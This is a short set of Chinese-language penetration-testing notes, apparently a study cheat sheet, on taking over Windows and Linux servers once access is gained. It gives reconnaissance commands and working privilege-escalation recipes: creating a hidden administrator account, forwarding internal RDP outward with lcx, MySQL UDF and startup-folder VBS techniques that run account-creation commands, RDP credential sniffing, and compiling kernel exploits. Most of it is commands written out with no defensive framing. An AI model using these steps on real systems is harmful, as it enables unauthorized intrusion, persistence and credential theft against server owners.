收集信息
内外网
服务器系统和版本 位数
服务器的补丁情况
服务器的安装软件情况
服务器的防护软件情况
端口情况
支持脚本情况
信息收集常用命令:
Windows:
ipconfig /all
net user
netstat -ano
ver
systeminfo
tasklist /svc
taskkill -PID pid号
taskkill /im qq.exe /f
net user test 123456 /add
net localgroup administrators test /add
whoami
CMD无法执行
1.防护软件拦截
2.CMD被降权
3.组件被删除
找可读写目录上传 cmd.exe,将执行的cmd.exe路径替换成上传的路径
查找3389端口
1、注册表读取
2、工具扫描
3、命令探针
端口转发
lcx
网站服务器是内网IP:192.168.2.3
外网服务器IP是:192.168.80.151
在内网服务器上执行的lcx命令是:lcx.exe -slave 192.168.80.151 51 192.168.2.3 3389
在外网服务器上执行的lcx命令是:lcx.exe -listen 51 3389
数据库提权:
MSSQL提权:安装组件------>开启3389------>创建用户------>提升权限------->完成
Mysql提权:
1)udf提权
获取到对方数据库用户root的账号密码
查看网站源码里面数据库配置文件(common,config.php,common.inc.php,data)
查看数据库的配置文件
暴力破解、mysql密码破解、3306端口入侵
udf提权原理:
通过root权限导出udf.dll到系统目录下,可以通过udf.dll 调用执行cmd
导出到\lib\plugin\安装目录下
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user test 123456 /add');
select cmdshell('net localgroup administrators test /add');
drop function cmdshell; //删除函数
2)启动项提权
1.查看我们进入数据库中有什么表
mysql> show tables;
默认情况下,test中没有任何表的存在
关键部分:
2.在test数据库下创建一个新的表
mysql> Create table a (cmd text);
表名为a,字段名为cmd,为text文本
3.在表中插入数据
mysql>insert into a values ("set wshshell=createobject(""wscript.shell"")");
mysql>insert into a values ("a=wshshell.run(""cmd.exe /c net user test 123456 /add"",0) ");
mysql>insert into a values ("b=wshshell.run(""cmd.exe /c net localgroup Administrators test /add"",0)")
双引号和括号以及后面的0一定要输入,用这三条命令建立一个vbs的脚本程序!
4、查看数据表
mysql> select * from a;
5、输出表为一个vbs的脚本文件
mysql> select * from a into outfile "c://开机菜单//启动//a.vbs";
6、重启
3)mof提权
4)反连端口提权
Windows提权:
开启3389
使用批处理文件开3389
使用sql语句开3389
使用exe开3389
使用vb开3389
使用wireshark或cain嗅探3389获取账号名和密码
Linux提权:
uname -r 查看内核版本信息
找到对应版本的exp
上传-----编译-----运行----ok
通过程序漏洞提权(略)